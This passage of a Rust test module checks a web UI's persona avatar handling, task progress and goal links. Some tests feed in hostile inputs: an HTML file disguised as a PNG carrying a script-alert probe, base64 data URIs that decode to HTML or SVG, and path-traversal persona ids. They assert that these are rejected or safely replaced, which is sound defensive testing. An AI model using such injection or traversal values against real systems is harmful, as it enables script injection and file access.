15196            ("data:image/png;base64,PGh0bWw+", "inherit"),
15197            ("/tmp/avatar.png", "inherit"),
15198        ] {
15199            atomic_icon_write(&path, saved).unwrap();
15200            let catalog =
15201                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15202                    .await
15203                    .unwrap()
15204                    .0;
15205            let personas = catalog["personas"].as_array().unwrap();
15206            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15207            assert_eq!(rei["override_state"], expected);
15208            assert_eq!(rei["has_config_icon"], true);
15209            assert_eq!(rei["is_orphan"], false);
15210            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15211            assert_eq!(removed["override_state"], "custom");
15212            assert_eq!(removed["is_orphan"], true);
15213            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15214            assert_eq!(default["override_state"], "inherit");
15215            assert_eq!(default["has_config_icon"], false);
15216            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15217            assert_eq!(
15218                effective.as_deref(),
15219                Some(if expected == "builtin" { "" } else { icon })
15220            );
15221        }
15222    }
15223
15224    #[tokio::test]
15225    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15226        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15227        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15228            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15229        ))
15230        .await;
15231        let target = |id: Option<&str>| AvatarSettingsQuery {
15232            persona: id.map(str::to_owned),
15233            ..Default::default()
15234        };
15235        let original_config = config_for(&repo).await.unwrap();
15236        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15237        let original_prompt = persona::section_for(&original_persona, None);
15238        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15239            .await
15240            .unwrap()
15241            .0;
15242        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15243            let _ = avatar_settings_put(
15244                State(ui.clone()),
15245                Query(target(persona)),
15246                Json(MagiIconUpload { icon: icon.into() }),
15247            )
15248            .await
15249            .unwrap();
15250            let path = avatar_setting_path(home.path(), persona);
15251            assert!(path.starts_with(home.path().join("avatars")));
15252            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15253            for bad in [
15254                "/tmp/image.png".to_owned(),
15255                "data:image/png;base64,!!!!".to_owned(),
15256                "data:image/png;base64,PGh0bWw+".to_owned(),
15257                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15258                format!(
15259                    "data:image/png;base64,{}",
15260                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15261                ),
15262            ] {
15263                assert!(
15264                    avatar_settings_put(
15265                        State(ui.clone()),
15266                        Query(target(persona)),
15267                        Json(MagiIconUpload { icon: bad })
15268                    )
15269                    .await
15270                    .is_err()
15271                );
15272                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15273            }
15274        }
15275        assert!(read_magi_icon(home.path()).is_none());
15276        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15277        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15278            .await
15279            .unwrap()
15280            .0;
15281        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15282        assert_ne!(
15283            before
15284                .personas
15285                .iter()
15286                .find(|p| p.id == "magi")
15287                .unwrap()
15288                .avatar,
15289            after
15290                .personas
15291                .iter()
15292                .find(|p| p.id == "magi")
15293                .unwrap()
15294                .avatar
15295        );
15296        let restarted = Arc::new(Ui::new(
15297            Queue::at(home.path().join("queue")),
15298            Questions::at(home.path().join("questions")),
15299            Talks::at(home.path().join("talks")),
15300            home.path().join("runs"),
15301            home.path().to_owned(),
15302            repo,
15303        ));
15304        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15305            .await
15306            .unwrap()
15307            .0;
15308        assert!(
15309            catalog["personas"]
15310                .as_array()
15311                .unwrap()
15312                .iter()
15313                .any(|p| p["id"] == "../custom/日本語")
15314        );
15315        for expected in ["custom", "default", "rei"] {
15316            assert!(
15317                catalog["personas"]
15318                    .as_array()
15319                    .unwrap()
15320                    .iter()
15321                    .any(|p| p["id"] == expected)
15322            );
15323        }
15324        let response =
15325            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15326        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15327        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15328            .await
15329            .unwrap();
15330        assert_eq!(
15331            effective_persona_icon(home.path(), "rei", Some(icon)),
15332            Some(String::new())
15333        );
15334        let response = talk_avatar(
15335            State(restarted.clone()),
15336            Path(id.clone()),
15337            Query(AvatarQuery {
15338                persona: Some("rei".into()),
15339                ..Default::default()
15340            }),
15341        )
15342        .await
15343        .unwrap();
15344        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15345        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15346            .await
15347            .unwrap()
15348            .0;
15349        assert_ne!(
15350            after
15351                .personas
15352                .iter()
15353                .find(|p| p.id == "rei")
15354                .unwrap()
15355                .avatar,
15356            reset
15357                .personas
15358                .iter()
15359                .find(|p| p.id == "rei")
15360                .unwrap()
15361                .avatar
15362        );
15363        let mut inherit = target(Some("rei"));
15364        inherit.inherit = Some("1".into());
15365        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15366            .await
15367            .unwrap();
15368        assert_eq!(
15369            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15370            Some(icon)
15371        );
15372        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15373            .await
15374            .unwrap();
15375        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15376        assert_eq!(
15377            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15378            Some(icon)
15379        );
15380        // Display changes never rewrite the conversation or its prompt-bearing config.
15381        let cfg = config_for(&ui.repo).await.unwrap();
15382        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15383        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15384        assert!(!original_prompt.contains("data:image"));
15385        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15386        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15387        assert!(!stored.contains("data:image"));
15388        let mut orphan = ui.talks.get(&id).unwrap();
15389        orphan.persona = "../custom/日本語".into();
15390        let view = TalkView::with_config(
15391            orphan,
15392            false,
15393            Some(&cfg),
15394            home.path(),
15395            &id_links::IndexCache::default(),
15396        );
15397        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15398    }
15399
15400    #[tokio::test]
15401    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15402        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15403        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15404        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15405        let _ = magi_icon_put(
15406            State(ui.clone()),
15407            Json(MagiIconUpload { icon: icon.into() }),
15408        )
15409        .await
15410        .unwrap();
15411        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15412        assert_ne!(original, changed);
15413        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15414        let response = magi_avatar(
15415            State(ui.clone()),
15416            Query(AvatarQuery {
15417                persona: None,
15418                builtin: None,
15419            }),
15420        )
15421        .await;
15422        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15423        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15424        assert_eq!(
15425            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15426            "nosniff"
15427        );
15428        for bad in [
15429            "data:image/png;base64,PGh0bWw+".to_owned(),
15430            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15431            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15432        ] {
15433            assert!(save_magi_icon(home.path(), &bad).is_err());
15434            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15435        }
15436        // Re-opened server state reads the same independent home file.
15437        let restarted = Arc::new(Ui::new(
15438            Queue::at(home.path().join("queue")),
15439            Questions::at(home.path().join("questions")),
15440            Talks::at(home.path().join("talks")),
15441            home.path().join("runs"),
15442            home.path().to_path_buf(),
15443            repo,
15444        ));
15445        assert_eq!(
15446            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15447            changed
15448        );
15449        let view = TalkView::with_config(
15450            restarted.talks.get(&id).unwrap(),
15451            false,
15452            None,
15453            &restarted.home,
15454            &restarted.references,
15455        );
15456        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15457        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15458        let response = magi_avatar(
15459            State(ui.clone()),
15460            Query(AvatarQuery {
15461                persona: None,
15462                builtin: None,
15463            }),
15464        )
15465        .await;
15466        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15467            .await
15468            .unwrap();
15469        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15470        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15471        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15472        let _ = magi_icon_delete(State(ui)).await.unwrap();
15473    }
15474
15475    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15476    async fn avatar(
15477        ui: &Arc<Ui>,
15478        id: &str,
15479        persona: Option<&str>,
15480        builtin: bool,
15481    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15482        let res = talk_avatar(
15483            State(Arc::clone(ui)),
15484            Path(id.to_owned()),
15485            Query(AvatarQuery {
15486                persona: persona.map(str::to_owned),
15487                builtin: builtin.then(|| "1".to_owned()),
15488            }),
15489        )
15490        .await
15491        .expect("an avatar is never an error response");
15492        let h = res.headers();
15493        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15494        let nosniff = h
15495            .get(header::X_CONTENT_TYPE_OPTIONS)
15496            .is_some_and(|v| v == "nosniff");
15497        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15498        let status = res.status();
15499        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15500            .await
15501            .expect("body")
15502            .to_vec();
15503        (status, ct, nosniff, csp, body)
15504    }
15505
15506    fn tiny_png() -> Vec<u8> {
15507        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15508        b.extend_from_slice(&[0u8; 32]);
15509        b
15510    }
15511
15512    #[tokio::test]
15513    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15514        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15515        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15516        assert_eq!(res.status(), StatusCode::OK);
15517        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15518        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15519        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15520        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15521        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15522            .await
15523            .unwrap();
15524        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15525        assert_ne!(
15526            persona_icon::operator_svg(),
15527            persona_icon::builtin_svg("default")
15528        );
15529    }
15530
15531    #[tokio::test]
15532    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15533        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15534        for p in [
15535            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15536        ] {
15537            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15538            assert_eq!(status, StatusCode::OK, "{p}");
15539            assert_eq!(ct, "image/svg+xml", "{p}");
15540            assert!(nosniff && csp, "{p}");
15541            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15542        }
15543        // No `persona` means the conversation's own; unknown ones fall back.
15544        let own = avatar(&ui, &id, None, false).await;
15545        let default = avatar(&ui, &id, Some("default"), false).await;
15546        assert_eq!(own.4, default.4);
15547        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15548        assert_eq!(unknown.1, "image/svg+xml");
15549    }
15550
15551    #[tokio::test]
15552    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15553        let dir = TempDir::new().expect("icons");
15554        let good = dir.path().join("good.png");
15555        std::fs::write(&good, tiny_png()).unwrap();
15556        let spoof = dir.path().join("spoof.png");
15557        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15558        let big = dir.path().join("big.png");
15559        let mut bytes = tiny_png();
15560        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15561        std::fs::write(&big, bytes).unwrap();
15562        let missing = dir.path().join("missing.png");
15563        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15564        let extra = format!(
15565            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15566             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15567             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15568             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15569             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15570             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15571            uri(&good),
15572            uri(&spoof),
15573            uri(&big),
15574            uri(&missing),
15575        );
15576        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15577
15578        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15579        assert_eq!(
15580            (status, ct.as_str(), nosniff),
15581            (StatusCode::OK, "image/png", true)
15582        );
15583        assert_eq!(body, tiny_png());
15584        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15585        assert_eq!(ct, "image/png", "data URI");
15586
15587        for p in ["misato", "asuka", "shinji", "magi"] {
15588            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15589            assert_eq!(
15590                (status, ct.as_str(), csp),
15591                (StatusCode::OK, "image/svg+xml", true),
15592                "{p}"
15593            );
15594            assert!(body.starts_with(b"<svg"), "{p}");
15595        }
15596        // The page's own retry skips the icon.
15597        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15598        assert_eq!(ct, "image/svg+xml");
15599    }
15600
15601    #[tokio::test]
15602    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15603        let oversized = format!(
15604            "data:image/png;base64,{}",
15605            "A".repeat(persona_icon::ICON_MAX_BYTES)
15606        );
15607        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15608            let extra = format!(
15609                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15610            );
15611            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15612            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15613                .await
15614                .expect("detail with invalid icon");
15615            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15616            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15617            assert_eq!(status, StatusCode::OK);
15618            assert_eq!(ct, "image/svg+xml");
15619            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15620            let Json(view) = talk_persona(
15621                State(Arc::clone(&ui)),
15622                Path(id.clone()),
15623                Json(TalkPersona {
15624                    persona: "custom".into(),
15625                }),
15626            )
15627            .await
15628            .expect("persona switch with invalid icon");
15629            assert_eq!(view.talk.persona, "custom");
15630            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15631        }
15632    }
15633
15634    #[tokio::test]
15635    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15636        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15637        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15638        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15639        assert_eq!(
15640            (status, ct.as_str(), nosniff, csp),
15641            (StatusCode::OK, "image/svg+xml", true, true)
15642        );
15643    }
15644
15645    #[tokio::test]
15646    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15647        let (_t, _h, ui, id, _repo) =
15648            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15649        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15650            .await
15651            .expect("detail");
15652        let json = serde_json::to_string(&detail).unwrap();
15653        assert!(
15654            !json.contains("secret"),
15655            "the icon setting must not leak: {json}"
15656        );
15657        assert!(
15658            detail
15659                .view
15660                .persona_avatar
15661                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15662        );
15663        assert_eq!(
15664            detail.view.operator_avatar,
15665            format!(
15666                "/avatars/operator.svg?v={}",
15667                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15668            )
15669        );
15670        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15671        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15672        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15673        assert!(rei.avatar.contains("persona=rei&v="));
15674        assert_ne!(
15675            rei.avatar.split("&v=").nth(1),
15676            plain.avatar.split("&v=").nth(1)
15677        );
15678    }
15679
15680    #[tokio::test]
15681    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15682        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15683        let cfg = config_for(&repo).await.unwrap();
15684        for arrived in [false, true] {
15685            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15686            let observed = ui.queued_generation(&id);
15687            let talk = ui.talks.get(&id).unwrap();
15688            if arrived {
15689                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15690            }
15691            let mut settling = std::pin::pin!(settle_settings_turn(
15692                talk,
15693                ui.talks.clone(),
15694                cfg.clone(),
15695                id.clone(),
15696                turn,
15697                observed
15698            ));
15699            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15700            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15701            assert_eq!(first.is_pending(), arrived);
15702            if arrived {
15703                assert!(!settling.await);
15704            }
15705            assert!(!ui.is_thinking(&id));
15706        }
15707    }
15708
15709    #[tokio::test]
15710    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15711        let tmp = TempDir::new().expect("tempdir");
15712        let repo = tmp.path().join("repo");
15713        std::fs::create_dir_all(&repo).expect("repo dir");
15714        std::fs::write(
15715            repo.join("magi.toml"),
15716            format!(
15717                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15718            ),
15719        )
15720        .expect("write magi.toml");
15721        let home = TempDir::new().expect("temp home");
15722        let talks = Talks::at(home.path().join("talks"));
15723        let ui = Arc::new(
15724            Ui::new(
15725                Queue::at(home.path().join("queue")),
15726                Questions::at(home.path().join("questions")),
15727                talks.clone(),
15728                home.path().join("runs"),
15729                home.path().to_path_buf(),
15730                repo.clone(),
15731            )
15732            .with_worktrees_root(home.path().join("wt")),
15733        );
15734        let cfg = config_for(&repo).await.expect("discover config");
15735        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15736        let id = talk.id.clone();
15737        let call = |persona: &str| {
15738            talk_persona(
15739                State(Arc::clone(&ui)),
15740                Path(id.clone()),
15741                Json(TalkPersona {
15742                    persona: persona.to_owned(),
15743                }),
15744            )
15745        };
15746
15747        let unknown = call("nobody").await.expect_err("unknown persona");
15748        assert_eq!(
15749            unknown.status,
15750            StatusCode::BAD_REQUEST,
15751            "{}",
15752            unknown.message
15753        );
15754
15755        {
15756            // Nothing refused so far took a claim, so the guard is free to take
15757            // and holding it is what makes the talk busy.
15758            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15759            let busy = call("rei").await.expect_err("busy talk");
15760            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15761            assert!(
15762                busy.message.contains("a talk turn is running"),
15763                "{}",
15764                busy.message
15765            );
15766            drop(guard);
15767        }
15768        assert_eq!(talks.get(&id).expect("reload").persona, "");
15769
15770        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15771        assert_eq!(view.talk.persona, "gendo");
15772        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15773        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15774        // No intervening I/O or sleep may be needed before another change.
15775        for chosen in ["default", "gendo", "rei", "gendo"] {
15776            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15777            assert!(!view.thinking);
15778            assert!(!ui.is_thinking(&id));
15779        }
15780
15781        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15782            .await
15783            .expect("detail");
15784        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15785        assert_eq!(ids.first(), Some(&"default"));
15786        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15787
15788        let Json(view) = call("default").await.expect("back to default");
15789        assert_eq!(view.talk.persona, "");
15790
15791        let mut closed = talks.get(&id).expect("reload");
15792        talk::close(&mut closed, &talks).expect("close");
15793        let refused = call("rei").await.expect_err("closed talk");
15794        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15795        assert!(
15796            refused.message.contains("takes no more turns"),
15797            "{}",
15798            refused.message
15799        );
15800    }
15801
15802    #[tokio::test]
15803    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15804        let f = Fixture::start().await;
15805        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15806        let queue = f.queue();
15807        let mut mine = Task::new(
15808            "rename the loader".to_owned(),
15809            "rename the loader".to_owned(),
15810            PathBuf::from("/repo/magi"),
15811            Source::Agent {
15812                run: talk_id.clone(),
15813                node: "chat".to_owned(),
15814            },
15815        );
15816        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15817        assert_eq!(empty["task_progress"]["state"], "none");
15818        assert_eq!(empty["task_progress"]["total"], 0);
15819        queue.put(&mut mine).expect("file the task");
15820        let mut theirs = Task::new(
15821            "unrelated".to_owned(),
15822            "unrelated".to_owned(),
15823            PathBuf::from("/repo/magi"),
15824            Source::Human,
15825        );
15826        // A later task linked through origin_chat alone is outside this list.
15827        theirs.origin_chat = Some(talk_id.clone());
15828        queue.put(&mut theirs).expect("file the task");
15829
15830        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15831        assert_eq!(res.status, 200, "{}", res.body);
15832        let body = res.json();
15833        assert_eq!(
15834            body["status"], "open",
15835            "filing a task does not close a talk"
15836        );
15837        let tasks = body["tasks"].as_array().expect("tasks array");
15838        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15839        assert_eq!(tasks[0]["id"], mine.id);
15840        for status in [
15841            TaskStatus::Queued,
15842            TaskStatus::Running,
15843            TaskStatus::Held,
15844            TaskStatus::Failed,
15845            TaskStatus::Blocked,
15846            TaskStatus::Parked,
15847            TaskStatus::Done,
15848            TaskStatus::Queued,
15849        ] {
15850            mine.status = status;
15851            queue.put(&mut mine).expect("update status");
15852            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15853            let progress = &detail["task_progress"];
15854            assert_eq!(progress["total"], 1);
15855            assert_eq!(progress["counts"][status.as_str()], 1);
15856            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15857            assert_eq!(detail["status"], "open", "completion never closes the chat");
15858            if status == TaskStatus::Done {
15859                assert_eq!(progress["state"], "complete");
15860                assert_eq!(progress["done"], 1);
15861                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15862            } else {
15863                assert_eq!(progress["state"], "incomplete");
15864                assert_eq!(progress["done"], 0);
15865                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15866            }
15867        }
15868    }
15869
15870    #[test]
15871    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
15872        let home = tempfile::tempdir().unwrap();
15873        let runs = home.path().join("runs");
15874        let queue = Queue::at(home.path().join("queue"));
15875        let talks = Talks::at(home.path().join("talks"));
15876        let config = stub_config();
15877        let repo = PathBuf::from("/repo/magi");
15878        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
15879        let reserve_run = |repo| {
15880            let mut run = RunState::new(
15881                repo,
15882                "main".into(),
15883                "0000000".into(),
15884                "Follow the review".into(),
15885                config.clone(),
15886            );
15887            run.reserve_under(home.path()).unwrap();
15888            run
15889        };
15890        let older = reserve_run(repo.clone());
15891        let newer = reserve_run(repo.clone());
15892        let foreign = reserve_run(PathBuf::from("/repo/other"));
15893        let mismatched = reserve_run(repo.clone());
15894        let corrupt = reserve_run(repo.clone());
15895        let run_file = |id: &str| runs.join(id).join("run.json");
15896        std::fs::write(
15897            run_file(&mismatched.id),
15898            serde_json::to_vec(&older).unwrap(),
15899        )
15900        .unwrap();
15901        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
15902        let goal = |tasks: Vec<String>, runs: Vec<String>| {
15903            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
15904                "id": "g", "purpose": "Follow the review", "scope": "review",
15905                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
15906                "state": "waiting", "step": "Follow the recorded review",
15907                "source_turn": 0, "owner_input": "Follow the review",
15908                "tasks": tasks, "runs": runs, "watches": [],
15909                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
15910                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
15911            }))
15912            .unwrap()
15913        };
15914        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
15915
15916        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
15917        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
15918
15919        let unusable = vec![
15920            foreign.id.clone(),
15921            mismatched.id.clone(),
15922            corrupt.id.clone(),
15923            "missing".into(),
15924            "../escape".into(),
15925        ];
15926        let mut references = vec![older.id.clone()];
15927        references.extend(unusable.clone());
15928        talk.goals = vec![goal(vec![], references)];
15929        assert_eq!(link(&talk), Some(("run", older.id.clone())));
15930
15931        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
15932        assert_eq!(link(&talk), None);
15933
15934        let mut task = Task::new(
15935            "Review".into(),
15936            "Follow the review".into(),
15937            repo,
15938            Source::Human,
15939        );
15940        queue.put(&mut task).unwrap();
15941        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
15942        assert_eq!(link(&talk), Some(("task", task.id.clone())));
15943
15944        task.runs.push(older.id.clone());
15945        queue.put(&mut task).unwrap();
15946        assert_eq!(link(&talk), Some(("run", older.id)));
15947    }
15948
15949    #[test]
15950    fn talk_task_progress_counts_mixed_statuses() {
15951        let mut tasks: Vec<_> = [
15952            TaskStatus::Queued,
15953            TaskStatus::Running,
15954            TaskStatus::Held,
15955            TaskStatus::Failed,
15956            TaskStatus::Blocked,
15957            TaskStatus::Parked,
15958            TaskStatus::Done,
15959        ]
15960        .into_iter()
15961        .map(|status| {
15962            let mut task = Task::new(
15963                "task".into(),
15964                "task".into(),
15965                PathBuf::from("/repo"),
15966                Source::Human,
15967            );
15968            task.status = status;
15969            task
15970        })
15971        .collect();
15972        let progress = talk_task_progress(&tasks);
15973        assert_eq!(progress.state, "incomplete");
15974        assert_eq!(progress.total, 7);
15975        assert_eq!(progress.done, 1);
15976        assert_eq!(progress.unfinished_ids.len(), 6);
15977        assert!(progress.counts.values().all(|count| *count == 1));
15978        assert_eq!(
15979            progress.unfinished_ids,
15980            tasks[..6]
15981                .iter()
15982                .map(|task| task.id.clone())
15983                .collect::<Vec<_>>()
15984        );
15985
15986        for task in &mut tasks {
15987            task.status = TaskStatus::Done;
15988        }
15989        let complete = talk_task_progress(&tasks);
15990        assert_eq!(complete.state, "complete");
15991        assert_eq!(complete.done, 7);
15992        assert!(complete.unfinished_ids.is_empty());
15993        tasks[0].status = TaskStatus::Queued;
15994        let requeued = talk_task_progress(&tasks);
15995        assert_eq!(requeued.state, "incomplete");
15996        assert_eq!(requeued.done, 6);
15997        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15998
15999        let empty = talk_task_progress(&[]);
16000        assert_eq!(empty.state, "none");
16001        assert_eq!(empty.total, 0);
16002        assert_eq!(empty.done, 0);
16003        assert!(empty.unfinished_ids.is_empty());
16004        assert!(empty.counts.values().all(|count| *count == 0));
16005    }
16006
16007    #[tokio::test]
16008    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16009        let (_tmp, _repo, f) = talk_fixture().await;
16010        let id = f.post("/api/talks", None).await.json()["id"]
16011            .as_str()
16012            .expect("id")
16013            .to_owned();
16014
16015        let res = f
16016            .post(
16017                &format!("/api/talks/{id}/say"),
16018                Some(r#"{"text":"what does the queue module do?"}"#),
16019            )
16020            .await;
16021        assert_eq!(res.status, 202, "{}", res.body);
16022        let queued = res.json();
16023        let turns = queued["turns"].as_array().expect("turns array");
16024        assert_eq!(
16025            turns.len(),
16026            1,
16027            "the answer reflects only what is on disk the instant it is sent, \
16028             before the agent's turn - which can run for the whole of \
16029             `[graph] timeout_talk` - has a chance to land: {queued}"
16030        );
